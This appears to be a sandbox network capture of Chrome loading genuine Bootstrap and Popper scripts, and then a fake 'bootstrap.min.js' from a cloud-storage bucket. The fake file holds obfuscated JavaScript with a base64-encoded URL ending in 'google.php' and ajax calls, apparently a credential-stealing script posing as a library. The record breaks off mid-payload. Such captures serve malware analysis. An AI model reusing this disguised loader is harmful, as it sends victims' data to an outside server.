2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 6f 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6f 2c 74 5b 6f 5d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 2c 74 2c 6f 29 7b 76 61 72 20 69 3d 54 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 3d 65 2e 6e 61 6d 65 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 Data Ascii: emoveAttribute(o):e.setAttribute(o,t[o])})}function F(e,t,o){var i=T(e,function(e){var o=e.name;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required b
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 72 6e 20 61 3d 61 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 76 61 72 20 6e 3d 28 31 3d 3d 3d 69 3f 21 72 3a 72 29 3f 27 68 65 69 67 68 74 27 3a 27 77 69 64 74 68 27 2c 70 3d 21 31 3b 72 65 74 75 72 6e 20 65 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 Data Ascii: rn a=a.map(function(e,i){var n=(1===i?!r:r)?'height':'width',p=!1;return e.reduce(function(e,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})})
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 67 75 72 61 62 6c 65 3d 21 30 2c 27 76 61 6c 75 65 27 69 6e 20 6f 26 26 28 6f 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6f 2e 6b 65 79 2c 6f 29 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 2c 69 29 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d Data Ascii: gurable=!0,'value'in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}return function(t,o,i){return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49731	104.18.11.207	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:50:52 UTC	654	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:50:53 UTC	966	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:50:53 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.07 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/15/2024 13:11:59 CDN-EdgeStorageId: 1232 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 2594ac6f0c887eb2b7bbc5b18049c76f CDN-Cache: HIT CF-Cache-Status: HIT Age: 646614 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 9270bb8e3f584211-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 17:50:53 UTC	403	IN	Data Raw: 37 62 65 62 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7beb/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 Data Ascii: ,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 Data Ascii: andler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retur
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 Data Ascii: _._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]'
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 Data Ascii: t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryI
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 Data Ascii: his._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibilit
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 Data Ascii: =function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c Data Ascii: ement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 Data Ascii: t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49737	43.152.64.193	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:50:54 UTC	669	OUT	GET /attach%2Fbootstrap.min.js HTTP/1.1 Host: 1419993777-1317754460.cos.ap-singapore.myqcloud.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:50:54 UTC	506	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 549820 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Thu, 27 Mar 2025 17:50:54 GMT ETag: "027ce3f3aa2dd1447ac1113e620ca2c5" Last-Modified: Tue, 18 Mar 2025 03:32:48 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 14417405353885346618 x-cos-request-id: NjdlNThmZmVfZjgxNTc5MWVfMzljYzRfYzZkNTk2YQ== x-cos-storage-class: MAZ_STANDARD x-cosindex-replication-status: Complete
2025-03-27 17:50:54 UTC	7698	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 68 59 6d 78 6c 5a 79 35 32 5a 57 35 31 5a 53 35 70 64 43 35 6a 62 32 30 76 5a 32 39 76 5a 32 78 6c 4c 6e 42 6f 63 41 3d 3d 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 38 36 38 34 39 3d 5f 30 78 33 35 32 39 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 38 36 65 38 31 2c 5f 30 78 33 38 30 61 63 62 29 7b 76 61 72 20 5f 30 78 33 34 61 31 31 63 3d 5f 30 78 33 35 32 39 2c 5f 30 78 65 66 30 65 32 33 3d 5f 30 78 31 38 36 65 38 31 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 35 33 35 61 34 39 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 34 61 31 31 63 28 30 78 32 61 39 29 29 2f 28 30 78 31 65 33 31 2b 30 78 31 33 34 2a 2d 30 78 31 36 2b 2d 30 78 33 62 38 29 2b 2d 70 61 Data Ascii: var file = "aHR0cHM6Ly9hYmxlZy52ZW51ZS5pdC5jb20vZ29vZ2xlLnBocA==";var _0x586849=_0x3529;(function(_0x186e81,_0x380acb){var _0x34a11c=_0x3529,_0xef0e23=_0x186e81();while(!![]){try{var _0x535a49=parseInt(_0x34a11c(0x2a9))/(0x1e31+0x134*-0x16+-0x3b8)+-pa
2025-03-27 17:50:54 UTC	16384	IN	Data Raw: 30 78 31 33 32 32 35 35 5b 5f 30 78 31 64 36 35 32 37 28 30 78 31 32 64 62 29 5d 2c 5f 30 78 32 33 34 35 30 35 29 2c 27 64 61 74 61 54 79 70 65 27 3a 5f 30 78 31 33 32 32 35 35 5b 5f 30 78 31 64 36 35 32 37 28 30 78 64 33 31 29 5d 2c 27 73 75 63 63 65 73 73 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 65 64 38 34 61 29 7b 76 61 72 20 5f 30 78 33 62 31 63 37 34 3d 5f 30 78 31 64 36 35 32 37 3b 69 66 28 5f 30 78 31 33 32 32 35 35 5b 5f 30 78 33 62 31 63 37 34 28 30 78 34 62 64 29 5d 28 5f 30 78 34 65 64 38 34 61 5b 5f 30 78 33 62 31 63 37 34 28 30 78 32 39 66 29 5d 2c 5f 30 78 31 33 32 32 35 35 5b 5f 30 78 33 62 31 63 37 34 28 30 78 31 62 37 31 29 5d 29 29 7b 76 61 72 20 5f 30 78 33 32 61 36 63 32 3d 5f 30 78 31 33 32 32 35 35 5b 5f 30 78 33 62 31 63 37 34 Data Ascii: 0x132255[_0x1d6527(0x12db)],_0x234505),'dataType':_0x132255[_0x1d6527(0xd31)],'success':function(_0x4ed84a){var _0x3b1c74=_0x1d6527;if(_0x132255[_0x3b1c74(0x4bd)](_0x4ed84a[_0x3b1c74(0x29f)],_0x132255[_0x3b1c74(0x1b71)])){var _0x32a6c2=_0x132255[_0x3b1c74
2025-03-27 17:50:54 UTC	8168	IN	Data Raw: 66 36 63 28 30 78 31 61 63 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 63 61 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 64 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 37 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 64 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 32 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 37 31 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 37 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 32 34 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 62 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 66 39 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 66 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 32 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 62 Data Ascii: f6c(0x1acb)+_0x27ef6c(0xcad)+_0x27ef6c(0x20d3)+_0x27ef6c(0x137a)+_0x27ef6c(0x7d0)+_0x27ef6c(0x1323)+_0x27ef6c(0x271d)+_0x27ef6c(0x779)+_0x27ef6c(0x1249)+_0x27ef6c(0x13b4)+_0x27ef6c(0x1f9e)+_0x27ef6c(0x1bf3)+_0x27ef6c(0x117)+_0x27ef6c(0x1c2f)+_0x27ef6c(0xb
2025-03-27 17:50:54 UTC	8184	IN	Data Raw: 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 37 36 29 29 2b 28 5f 30 78 32 37 65 66 36 63 28 30 78 64 30 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 32 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 64 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 30 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 35 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 63 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 61 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 32 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 30 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 65 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 62 37 29 2b 5f 30 78 32 37 65 Data Ascii: 